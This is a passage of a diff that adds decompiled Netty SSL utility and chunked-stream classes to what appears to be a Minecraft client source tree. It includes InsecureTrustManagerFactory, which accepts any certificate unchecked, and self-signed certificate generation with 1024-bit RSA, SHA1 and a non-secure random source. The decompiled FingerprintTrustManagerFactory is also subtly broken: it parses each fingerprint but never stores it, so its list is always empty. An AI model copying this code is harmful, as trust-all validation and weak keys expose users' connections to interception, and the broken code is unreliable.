+import java.security.NoSuchAlgorithmException;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.net.ssl.ManagerFactoryParameters;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.X509TrustManager;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class FingerprintTrustManagerFactory
+  extends SimpleTrustManagerFactory
+{
+  private static final Pattern FINGERPRINT_PATTERN = Pattern.compile("^[0-9a-fA-F:]+$");
+  private static final Pattern FINGERPRINT_STRIP_PATTERN = Pattern.compile(":");
+  
+  private static final int SHA1_BYTE_LEN = 20;
+  private static final int SHA1_HEX_LEN = 40;
+  private static final FastThreadLocal<MessageDigest> tlmd = new FastThreadLocal()
+  {
+    protected MessageDigest initialValue() {
+      try {
+        return MessageDigest.getInstance("SHA1");
+      }
+      catch (NoSuchAlgorithmException e) {
+        throw new Error(e);
+      }
+    }
+  };
+  
+  private final TrustManager tm = new X509TrustManager()
+  {
+    public void checkClientTrusted(X509Certificate[] chain, String s) throws CertificateException
+    {
+      checkTrusted("client", chain);
+    }
+    
+    public void checkServerTrusted(X509Certificate[] chain, String s) throws CertificateException
+    {
+      checkTrusted("server", chain);
+    }
+    
+    private void checkTrusted(String type, X509Certificate[] chain) throws CertificateException {
+      X509Certificate cert = chain[0];
+      byte[] fingerprint = fingerprint(cert);
+      boolean found = false;
+      for (byte[] allowedFingerprint : fingerprints) {
+        if (Arrays.equals(fingerprint, allowedFingerprint)) {
+          found = true;
+          break;
+        }
+      }
+      
+      if (!found) {
+        throw new CertificateException(type + " certificate with unknown fingerprint: " + cert.getSubjectDN());
+      }
+    }
+    
+    private byte[] fingerprint(X509Certificate cert) throws CertificateEncodingException
+    {
+      MessageDigest md = (MessageDigest)FingerprintTrustManagerFactory.tlmd.get();
+      md.reset();
+      return md.digest(cert.getEncoded());
+    }
+    
+    public X509Certificate[] getAcceptedIssuers()
+    {
+      return EmptyArrays.EMPTY_X509_CERTIFICATES;
+    }
+  };
+  
+
+
+  private final byte[][] fingerprints;
+  
+
+
+  public FingerprintTrustManagerFactory(Iterable<String> fingerprints)
+  {
+    this(toFingerprintArray(fingerprints));
+  }
+  
+
+
+
+
+  public FingerprintTrustManagerFactory(String... fingerprints)
+  {
+    this(toFingerprintArray(Arrays.asList(fingerprints)));
+  }
+  
+
+
+
+
+  public FingerprintTrustManagerFactory(byte[]... fingerprints)
+  {
+    if (fingerprints == null) {
+      throw new NullPointerException("fingerprints");
+    }
+    
+    List<byte[]> list = new ArrayList();
+    for (byte[] f : fingerprints) {
+      if (f == null) {
+        break;
+      }
+      if (f.length != 20) {
+        throw new IllegalArgumentException("malformed fingerprint: " + ByteBufUtil.hexDump(Unpooled.wrappedBuffer(f)) + " (expected: SHA1)");
+      }
+      
+      list.add(f.clone());
+    }
+    
+    this.fingerprints = ((byte[][])list.toArray(new byte[list.size()][]));
+  }
+  
+  private static byte[][] toFingerprintArray(Iterable<String> fingerprints) {
+    if (fingerprints == null) {
+      throw new NullPointerException("fingerprints");
+    }
+    
+    List<byte[]> list = new ArrayList();
+    for (String f : fingerprints) {
+      if (f == null) {
+        break;
+      }
+      
+      if (!FINGERPRINT_PATTERN.matcher(f).matches()) {
+        throw new IllegalArgumentException("malformed fingerprint: " + f);
+      }
+      f = FINGERPRINT_STRIP_PATTERN.matcher(f).replaceAll("");
+      if (f.length() != 40) {
+        throw new IllegalArgumentException("malformed fingerprint: " + f + " (expected: SHA1)");
+      }
+      
+      byte[] farr = new byte[20];
+      for (int i = 0; i < farr.length; i++) {
+        int strIdx = i << 1;
+        farr[i] = ((byte)Integer.parseInt(f.substring(strIdx, strIdx + 2), 16));
+      }
+    }
+    
+    return (byte[][])list.toArray(new byte[list.size()][]);
+  }
+  
+  protected void engineInit(KeyStore keyStore) throws Exception
+  {}
+  
+  protected void engineInit(ManagerFactoryParameters managerFactoryParameters) throws Exception
+  {}
+  
+  protected TrustManager[] engineGetTrustManagers()
+  {
+    return new TrustManager[] { tm };
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/InsecureTrustManagerFactory.java b/src/minecraft/io/netty/handler/ssl/util/InsecureTrustManagerFactory.java
new file mode 100644
index 0000000..544c885
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/InsecureTrustManagerFactory.java
@@ -0,0 +1,73 @@
+package io.netty.handler.ssl.util;
+
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.security.KeyStore;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.ManagerFactoryParameters;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509TrustManager;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class InsecureTrustManagerFactory
+  extends SimpleTrustManagerFactory
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(InsecureTrustManagerFactory.class);
+  
+  public static final TrustManagerFactory INSTANCE = new InsecureTrustManagerFactory();
+  
+  private static final TrustManager tm = new X509TrustManager()
+  {
+    public void checkClientTrusted(X509Certificate[] chain, String s) {
+      InsecureTrustManagerFactory.logger.debug("Accepting a client certificate: " + chain[0].getSubjectDN());
+    }
+    
+    public void checkServerTrusted(X509Certificate[] chain, String s)
+    {
+      InsecureTrustManagerFactory.logger.debug("Accepting a server certificate: " + chain[0].getSubjectDN());
+    }
+    
+    public X509Certificate[] getAcceptedIssuers()
+    {
+      return EmptyArrays.EMPTY_X509_CERTIFICATES;
+    }
+  };
+  
+  private InsecureTrustManagerFactory() {}
+  
+  protected void engineInit(KeyStore keyStore) throws Exception
+  {}
+  
+  protected void engineInit(ManagerFactoryParameters managerFactoryParameters) throws Exception
+  {}
+  
+  protected TrustManager[] engineGetTrustManagers()
+  {
+    return new TrustManager[] { tm };
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/OpenJdkSelfSignedCertGenerator.java b/src/minecraft/io/netty/handler/ssl/util/OpenJdkSelfSignedCertGenerator.java
new file mode 100644
index 0000000..f6be588
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/OpenJdkSelfSignedCertGenerator.java
@@ -0,0 +1,81 @@
+package io.netty.handler.ssl.util;
+
+import java.math.BigInteger;
+import java.security.KeyPair;
+import java.security.PrivateKey;
+import java.security.SecureRandom;
+import java.security.cert.CertificateException;
+import sun.security.x509.AlgorithmId;
+import sun.security.x509.CertificateAlgorithmId;
+import sun.security.x509.CertificateIssuerName;
+import sun.security.x509.CertificateSerialNumber;
+import sun.security.x509.CertificateSubjectName;
+import sun.security.x509.CertificateValidity;
+import sun.security.x509.CertificateVersion;
+import sun.security.x509.CertificateX509Key;
+import sun.security.x509.X500Name;
+import sun.security.x509.X509CertImpl;
+import sun.security.x509.X509CertInfo;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class OpenJdkSelfSignedCertGenerator
+{
+  static String[] generate(String fqdn, KeyPair keypair, SecureRandom random)
+    throws Exception
+  {
+    PrivateKey key = keypair.getPrivate();
+    
+
+    X509CertInfo info = new X509CertInfo();
+    X500Name owner = new X500Name("CN=" + fqdn);
+    info.set("version", new CertificateVersion(2));
+    info.set("serialNumber", new CertificateSerialNumber(new BigInteger(64, random)));
+    try {
+      info.set("subject", new CertificateSubjectName(owner));
+    } catch (CertificateException ignore) {
+      info.set("subject", owner);
+    }
+    try {
+      info.set("issuer", new CertificateIssuerName(owner));
+    } catch (CertificateException ignore) {
+      info.set("issuer", owner);
+    }
+    info.set("validity", new CertificateValidity(SelfSignedCertificate.NOT_BEFORE, SelfSignedCertificate.NOT_AFTER));
+    info.set("key", new CertificateX509Key(keypair.getPublic()));
+    info.set("algorithmID", new CertificateAlgorithmId(new AlgorithmId(AlgorithmId.sha1WithRSAEncryption_oid)));
+    
+
+
+    X509CertImpl cert = new X509CertImpl(info);
+    cert.sign(key, "SHA1withRSA");
+    
+
+    info.set("algorithmID.algorithm", cert.get("x509.algorithm"));
+    cert = new X509CertImpl(info);
+    cert.sign(key, "SHA1withRSA");
+    cert.verify(keypair.getPublic());
+    
+    return SelfSignedCertificate.newSelfSignedCertificate(fqdn, key, cert);
+  }
+  
+  private OpenJdkSelfSignedCertGenerator() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/SelfSignedCertificate.java b/src/minecraft/io/netty/handler/ssl/util/SelfSignedCertificate.java
new file mode 100644
index 0000000..2212868
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/SelfSignedCertificate.java
@@ -0,0 +1,207 @@
+package io.netty.handler.ssl.util;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.SecureRandom;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SelfSignedCertificate
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(SelfSignedCertificate.class);
+  
+
+  static final Date NOT_BEFORE = new Date(System.currentTimeMillis() - 31536000000L);
+  
+  static final Date NOT_AFTER = new Date(253402300799000L);
+  
+  private final File certificate;
+  
+  private final File privateKey;
+  
+  public SelfSignedCertificate()
+    throws CertificateException
+  {
+    this("example.com");
+  }
+  
+
+
+
+
+
+  public SelfSignedCertificate(String fqdn)
+    throws CertificateException
+  {
+    this(fqdn, ThreadLocalInsecureRandom.current(), 1024);
+  }
+  
+
+
+
+  public SelfSignedCertificate(String fqdn, SecureRandom random, int bits)
+    throws CertificateException
+  {
+    KeyPair keypair;
+    
+
+    try
+    {
+      KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
+      keyGen.initialize(bits, random);
+      keypair = keyGen.generateKeyPair();
+    }
+    catch (NoSuchAlgorithmException e) {
+      throw new Error(e);
+    }
+    
+    String[] paths;
+    try
+    {
+      paths = OpenJdkSelfSignedCertGenerator.generate(fqdn, keypair, random);
+    } catch (Throwable t) {
+      logger.debug("Failed to generate a self-signed X.509 certificate using sun.security.x509:", t);
+      try
+      {
+        paths = BouncyCastleSelfSignedCertGenerator.generate(fqdn, keypair, random);
+      } catch (Throwable t2) {
+        logger.debug("Failed to generate a self-signed X.509 certificate using Bouncy Castle:", t2);
+        throw new CertificateException("No provider succeeded to generate a self-signed certificate. See debug log for the root cause.");
+      }
+    }
+    
+
+
+    certificate = new File(paths[0]);
+    privateKey = new File(paths[1]);
+  }
+  
+
+
+  public File certificate()
+  {
+    return certificate;
+  }
+  
+
+
+  public File privateKey()
+  {
+    return privateKey;
+  }
+  
+
+
+  public void delete()
+  {
+    safeDelete(certificate);
+    safeDelete(privateKey);
+  }
+  
+
+  static String[] newSelfSignedCertificate(String fqdn, PrivateKey key, X509Certificate cert)
+    throws IOException, CertificateEncodingException
+  {
+    String keyText = "-----BEGIN PRIVATE KEY-----\n" + Base64.encode(Unpooled.wrappedBuffer(key.getEncoded()), true).toString(CharsetUtil.US_ASCII) + "\n-----END PRIVATE KEY-----\n";
+    
+
+
+    File keyFile = File.createTempFile("keyutil_" + fqdn + '_', ".key");
+    keyFile.deleteOnExit();
+    
+    OutputStream keyOut = new FileOutputStream(keyFile);
+    try {
+      keyOut.write(keyText.getBytes(CharsetUtil.US_ASCII));
+      keyOut.close();
+      keyOut = null;
+    } finally {
+      if (keyOut != null) {
+        safeClose(keyFile, keyOut);
+        safeDelete(keyFile);
+      }
+    }
+    
+
+    String certText = "-----BEGIN CERTIFICATE-----\n" + Base64.encode(Unpooled.wrappedBuffer(cert.getEncoded()), true).toString(CharsetUtil.US_ASCII) + "\n-----END CERTIFICATE-----\n";
+    
+
+
+    File certFile = File.createTempFile("keyutil_" + fqdn + '_', ".crt");
+    certFile.deleteOnExit();
+    
+    OutputStream certOut = new FileOutputStream(certFile);
+    try {
+      certOut.write(certText.getBytes(CharsetUtil.US_ASCII));
+      certOut.close();
+      certOut = null;
+    } finally {
+      if (certOut != null) {
+        safeClose(certFile, certOut);
+        safeDelete(certFile);
+        safeDelete(keyFile);
+      }
+    }
+    
+    return new String[] { certFile.getPath(), keyFile.getPath() };
+  }
+  
+  private static void safeDelete(File certFile) {
+    if (!certFile.delete()) {
+      logger.warn("Failed to delete a file: " + certFile);
+    }
+  }
+  
+  private static void safeClose(File keyFile, OutputStream keyOut) {
+    try {
+      keyOut.close();
+    } catch (IOException e) {
+      logger.warn("Failed to close a file: " + keyFile, e);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/SimpleTrustManagerFactory.java b/src/minecraft/io/netty/handler/ssl/util/SimpleTrustManagerFactory.java
new file mode 100644
index 0000000..b225c80
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/SimpleTrustManagerFactory.java
@@ -0,0 +1,134 @@
+package io.netty.handler.ssl.util;
+
+import io.netty.util.concurrent.FastThreadLocal;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.Provider;
+import javax.net.ssl.ManagerFactoryParameters;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.TrustManagerFactorySpi;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SimpleTrustManagerFactory
+  extends TrustManagerFactory
+{
+  private static final Provider PROVIDER = new Provider("", 0.0D, "")
+  {
+    private static final long serialVersionUID = -2680540247105807895L;
+  };
+  
+
+
+
+
+
+
+
+  private static final FastThreadLocal<SimpleTrustManagerFactorySpi> CURRENT_SPI = new FastThreadLocal()
+  {
+    protected SimpleTrustManagerFactory.SimpleTrustManagerFactorySpi initialValue()
+    {
+      return new SimpleTrustManagerFactory.SimpleTrustManagerFactorySpi();
+    }
+  };
+  
+
+
+  protected SimpleTrustManagerFactory()
+  {
+    this("");
+  }
+  
+
+
+
+
+  protected SimpleTrustManagerFactory(String name)
+  {
+    super((TrustManagerFactorySpi)CURRENT_SPI.get(), PROVIDER, name);
+    ((SimpleTrustManagerFactorySpi)CURRENT_SPI.get()).init(this);
+    CURRENT_SPI.remove();
+    
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+  }
+  
+
+
+  protected abstract void engineInit(KeyStore paramKeyStore)
+    throws Exception;
+  
+
+
+  protected abstract void engineInit(ManagerFactoryParameters paramManagerFactoryParameters)
+    throws Exception;
+  
+
+
+  protected abstract TrustManager[] engineGetTrustManagers();
+  
+
+  static final class SimpleTrustManagerFactorySpi
+    extends TrustManagerFactorySpi
+  {
+    private SimpleTrustManagerFactory parent;
+    
+
+    SimpleTrustManagerFactorySpi() {}
+    
+
+    void init(SimpleTrustManagerFactory parent)
+    {
+      this.parent = parent;
+    }
+    
+    protected void engineInit(KeyStore keyStore) throws KeyStoreException
+    {
+      try {
+        parent.engineInit(keyStore);
+      } catch (KeyStoreException e) {
+        throw e;
+      } catch (Exception e) {
+        throw new KeyStoreException(e);
+      }
+    }
+    
+    protected void engineInit(ManagerFactoryParameters managerFactoryParameters) throws InvalidAlgorithmParameterException
+    {
+      try
+      {
+        parent.engineInit(managerFactoryParameters);
+      } catch (InvalidAlgorithmParameterException e) {
+        throw e;
+      } catch (Exception e) {
+        throw new InvalidAlgorithmParameterException(e);
+      }
+    }
+    
+    protected TrustManager[] engineGetTrustManagers()
+    {
+      return parent.engineGetTrustManagers();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/ThreadLocalInsecureRandom.java b/src/minecraft/io/netty/handler/ssl/util/ThreadLocalInsecureRandom.java
new file mode 100644
index 0000000..badc4c6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/ThreadLocalInsecureRandom.java
@@ -0,0 +1,100 @@
+package io.netty.handler.ssl.util;
+
+import io.netty.util.internal.ThreadLocalRandom;
+import java.security.SecureRandom;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ThreadLocalInsecureRandom
+  extends SecureRandom
+{
+  private static final long serialVersionUID = -8209473337192526191L;
+  private static final SecureRandom INSTANCE = new ThreadLocalInsecureRandom();
+  
+  static SecureRandom current() {
+    return INSTANCE;
+  }
+  
+  private ThreadLocalInsecureRandom() {}
+  
+  public String getAlgorithm()
+  {
+    return "insecure";
+  }
+  
+
+  public void setSeed(byte[] seed) {}
+  
+
+  public void setSeed(long seed) {}
+  
+  public void nextBytes(byte[] bytes)
+  {
+    random().nextBytes(bytes);
+  }
+  
+  public byte[] generateSeed(int numBytes)
+  {
+    byte[] seed = new byte[numBytes];
+    random().nextBytes(seed);
+    return seed;
+  }
+  
+  public int nextInt()
+  {
+    return random().nextInt();
+  }
+  
+  public int nextInt(int n)
+  {
+    return random().nextInt(n);
+  }
+  
+  public boolean nextBoolean()
+  {
+    return random().nextBoolean();
+  }
+  
+  public long nextLong()
+  {
+    return random().nextLong();
+  }
+  
+  public float nextFloat()
+  {
+    return random().nextFloat();
+  }
+  
+  public double nextDouble()
+  {
+    return random().nextDouble();
+  }
+  
+  public double nextGaussian()
+  {
+    return random().nextGaussian();
+  }
+  
+  private static Random random() {
+    return ThreadLocalRandom.current();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/util/X509TrustManagerWrapper.java b/src/minecraft/io/netty/handler/ssl/util/X509TrustManagerWrapper.java
new file mode 100644
index 0000000..a6dc935
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/util/X509TrustManagerWrapper.java
@@ -0,0 +1,73 @@
+package io.netty.handler.ssl.util;
+
+import io.netty.util.internal.ObjectUtil;
+import java.net.Socket;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.X509ExtendedTrustManager;
+import javax.net.ssl.X509TrustManager;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class X509TrustManagerWrapper
+  extends X509ExtendedTrustManager
+{
+  private final X509TrustManager delegate;
+  
+  X509TrustManagerWrapper(X509TrustManager delegate)
+  {
+    this.delegate = ((X509TrustManager)ObjectUtil.checkNotNull(delegate, "delegate"));
+  }
+  
+  public void checkClientTrusted(X509Certificate[] chain, String s) throws CertificateException
+  {
+    delegate.checkClientTrusted(chain, s);
+  }
+  
+  public void checkClientTrusted(X509Certificate[] chain, String s, Socket socket)
+    throws CertificateException
+  {
+    delegate.checkClientTrusted(chain, s);
+  }
+  
+  public void checkClientTrusted(X509Certificate[] chain, String s, SSLEngine sslEngine)
+    throws CertificateException
+  {
+    delegate.checkClientTrusted(chain, s);
+  }
+  
+  public void checkServerTrusted(X509Certificate[] chain, String s) throws CertificateException
+  {
+    delegate.checkServerTrusted(chain, s);
+  }
+  
+  public void checkServerTrusted(X509Certificate[] chain, String s, Socket socket)
+    throws CertificateException
+  {
+    delegate.checkServerTrusted(chain, s);
+  }
+  
+  public void checkServerTrusted(X509Certificate[] chain, String s, SSLEngine sslEngine)
+    throws CertificateException
+  {
+    delegate.checkServerTrusted(chain, s);
+  }
+  
+  public X509Certificate[] getAcceptedIssuers()
+  {
+    return delegate.getAcceptedIssuers();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/stream/ChunkedFile.java b/src/minecraft/io/netty/handler/stream/ChunkedFile.java
new file mode 100644
index 0000000..80a32b8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/stream/ChunkedFile.java
@@ -0,0 +1,164 @@
+package io.netty.handler.stream;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.nio.channels.FileChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChunkedFile
+  implements ChunkedInput<ByteBuf>
+{
+  private final RandomAccessFile file;
+  private final long startOffset;
+  private final long endOffset;
+  private final int chunkSize;
+  private long offset;
+  
+  public ChunkedFile(File file)
+    throws IOException
+  {
+    this(file, 8192);
+  }
+  
+
+
+
+
+  public ChunkedFile(File file, int chunkSize)
+    throws IOException
+  {
+    this(new RandomAccessFile(file, "r"), chunkSize);
+  }
+  
+
+  public ChunkedFile(RandomAccessFile file)
+    throws IOException
+  {
+    this(file, 8192);
+  }
+  
+
+
+
+
+  public ChunkedFile(RandomAccessFile file, int chunkSize)
+    throws IOException
+  {
+    this(file, 0L, file.length(), chunkSize);
+  }
+  
+
+
+
+
+
+
+  public ChunkedFile(RandomAccessFile file, long offset, long length, int chunkSize)
+    throws IOException
+  {
+    if (file == null) {
+      throw new NullPointerException("file");
+    }
+    if (offset < 0L) {
+      throw new IllegalArgumentException("offset: " + offset + " (expected: 0 or greater)");
+    }
+    
+    if (length < 0L) {
+      throw new IllegalArgumentException("length: " + length + " (expected: 0 or greater)");
+    }
+    
+    if (chunkSize <= 0) {
+      throw new IllegalArgumentException("chunkSize: " + chunkSize + " (expected: a positive integer)");
+    }
+    
+
+
+    this.file = file;
+    this.offset = (this.startOffset = offset);
+    endOffset = (offset + length);
+    this.chunkSize = chunkSize;
+    
+    file.seek(offset);
+  }
+  
+
+
+  public long startOffset()
+  {
+    return startOffset;
+  }
+  
+
+
+  public long endOffset()
+  {
+    return endOffset;
+  }
+  
+
+
+  public long currentOffset()
+  {
+    return offset;
+  }
+  
+  public boolean isEndOfInput() throws Exception
+  {
+    return (offset >= endOffset) || (!file.getChannel().isOpen());
+  }
+  
+  public void close() throws Exception
+  {
+    file.close();
+  }
+  
+  public ByteBuf readChunk(ChannelHandlerContext ctx) throws Exception
+  {
+    long offset = this.offset;
+    if (offset >= endOffset) {
+      return null;
+    }
+    
+    int chunkSize = (int)Math.min(this.chunkSize, endOffset - offset);
+    
+
+    ByteBuf buf = ctx.alloc().heapBuffer(chunkSize);
+    boolean release = true;
+    try {
+      file.readFully(buf.array(), buf.arrayOffset(), chunkSize);
+      buf.writerIndex(chunkSize);
+      this.offset = (offset + chunkSize);
+      release = false;
+      return buf;
+    } finally {
+      if (release) {
+        buf.release();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/stream/ChunkedInput.java b/src/minecraft/io/netty/handler/stream/ChunkedInput.java
new file mode 100644
index 0000000..40efa20
--- /dev/null
+++ b/src/minecraft/io/netty/handler/stream/ChunkedInput.java
@@ -0,0 +1,15 @@
+package io.netty.handler.stream;
+
+import io.netty.channel.ChannelHandlerContext;
+
+public abstract interface ChunkedInput<B>
+{
+  public abstract boolean isEndOfInput()
+    throws Exception;
+  
+  public abstract void close()
+    throws Exception;
+  
+  public abstract B readChunk(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/stream/ChunkedNioFile.java b/src/minecraft/io/netty/handler/stream/ChunkedNioFile.java
new file mode 100644
index 0000000..3b80ad5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/stream/ChunkedNioFile.java
@@ -0,0 +1,175 @@
+package io.netty.handler.stream;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.channels.FileChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChunkedNioFile
+  implements ChunkedInput<ByteBuf>
+{
+  private final FileChannel in;
+  private final long startOffset;
+  private final long endOffset;
+  private final int chunkSize;
+  private long offset;
+  
+  public ChunkedNioFile(File in)
+    throws IOException
+  {
+    this(new FileInputStream(in).getChannel());
+  }
+  
+
+
+
+
+  public ChunkedNioFile(File in, int chunkSize)
+    throws IOException
+  {
+    this(new FileInputStream(in).getChannel(), chunkSize);
+  }
+  
+
+  public ChunkedNioFile(FileChannel in)
+    throws IOException
+  {
+    this(in, 8192);
+  }
+  
+
+
+
+
+  public ChunkedNioFile(FileChannel in, int chunkSize)
+    throws IOException
+  {
+    this(in, 0L, in.size(), chunkSize);
+  }
+  
+
+
+
+
+
+
+
+  public ChunkedNioFile(FileChannel in, long offset, long length, int chunkSize)
+    throws IOException
+  {
+    if (in == null) {
+      throw new NullPointerException("in");
+    }
+    if (offset < 0L) {
+      throw new IllegalArgumentException("offset: " + offset + " (expected: 0 or greater)");
+    }
+    
+    if (length < 0L) {
+      throw new IllegalArgumentException("length: " + length + " (expected: 0 or greater)");
+    }
+    
+    if (chunkSize <= 0) {
+      throw new IllegalArgumentException("chunkSize: " + chunkSize + " (expected: a positive integer)");
+    }
+    
+
+
+    if (offset != 0L) {
+      in.position(offset);
+    }
+    this.in = in;
+    this.chunkSize = chunkSize;
+    this.offset = (this.startOffset = offset);
+    endOffset = (offset + length);
+  }
+  
+
+
+  public long startOffset()
+  {
+    return startOffset;
+  }
+  
+
+
+  public long endOffset()
+  {
+    return endOffset;
+  }
+  
+
+
+  public long currentOffset()
+  {
+    return offset;
+  }
+  
+  public boolean isEndOfInput() throws Exception
+  {
+    return (offset >= endOffset) || (!in.isOpen());
+  }
+  
+  public void close() throws Exception
+  {
+    in.close();
+  }
+  
+  public ByteBuf readChunk(ChannelHandlerContext ctx) throws Exception
+  {
+    long offset = this.offset;
+    if (offset >= endOffset) {
+      return null;
+    }
+    
+    int chunkSize = (int)Math.min(this.chunkSize, endOffset - offset);
+    ByteBuf buffer = ctx.alloc().buffer(chunkSize);
+    boolean release = true;
+    try {
+      int readBytes = 0;
+      int localReadBytes;
+      for (;;) { localReadBytes = buffer.writeBytes(in, chunkSize - readBytes);
+        if (localReadBytes < 0) {
+          break;
+        }
+        readBytes += localReadBytes;
+        if (readBytes == chunkSize) {
+          break;
+        }
+      }
+      this.offset += readBytes;
+      release = false;
+      return buffer;
+    } finally {
+      if (release) {
+        buffer.release();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/stream/ChunkedNioStream.java b/src/minecraft/io/netty/handler/stream/ChunkedNioStream.java
new file mode 100644
index 0000000..c66d667
--- /dev/null
+++ b/src/minecraft/io/netty/handler/stream/ChunkedNioStream.java
@@ -0,0 +1,131 @@
+package io.netty.handler.stream;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.nio.ByteBuffer;
+import java.nio.channels.ReadableByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChunkedNioStream
+  implements ChunkedInput<ByteBuf>
+{
+  private final ReadableByteChannel in;
+  private final int chunkSize;
+  private long offset;
+  private final ByteBuffer byteBuffer;
+  
+  public ChunkedNioStream(ReadableByteChannel in)
+  {
+    this(in, 8192);
+  }
+  
+
+
+
+
+
+  public ChunkedNioStream(ReadableByteChannel in, int chunkSize)
+  {
+    if (in == null) {
+      throw new NullPointerException("in");
+    }
+    if (chunkSize <= 0) {
+      throw new IllegalArgumentException("chunkSize: " + chunkSize + " (expected: a positive integer)");
+    }
+    
+    this.in = in;
+    offset = 0L;
+    this.chunkSize = chunkSize;
+    byteBuffer = ByteBuffer.allocate(chunkSize);
+  }
+  
+
+
+  public long transferredBytes()
+  {
+    return offset;
+  }
+  
+  public boolean isEndOfInput() throws Exception
+  {
+    if (byteBuffer.position() > 0)
+    {
+      return false;
+    }
+    if (in.isOpen())
+    {
+      int b = in.read(byteBuffer);
+      if (b < 0) {
+        return true;
+      }
+      offset += b;
+      return false;
+    }
+    
+    return true;
+  }
+  
+  public void close() throws Exception
+  {
+    in.close();
+  }
+  
+  public ByteBuf readChunk(ChannelHandlerContext ctx) throws Exception
+  {
+    if (isEndOfInput()) {
+      return null;
+    }
+    
+    int readBytes = byteBuffer.position();
+    for (;;) {
+      int localReadBytes = in.read(byteBuffer);
+      if (localReadBytes < 0) {
+        break;
+      }
+      readBytes += localReadBytes;
+      offset += localReadBytes;
+      if (readBytes == chunkSize) {
+        break;
+      }
+    }
+    byteBuffer.flip();
+    boolean release = true;
+    ByteBuf buffer = ctx.alloc().buffer(byteBuffer.remaining());
+    try {
+      buffer.writeBytes(byteBuffer);
+      byteBuffer.clear();
+      release = false;
+      return buffer;
+    } finally {
+      if (release) {
+        buffer.release();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/stream/ChunkedStream.java b/src/minecraft/io/netty/handler/stream/ChunkedStream.java
new file mode 100644
index 0000000..d9f57e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/stream/ChunkedStream.java
@@ -0,0 +1,123 @@
+package io.netty.handler.stream;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.io.InputStream;
+import java.io.PushbackInputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChunkedStream
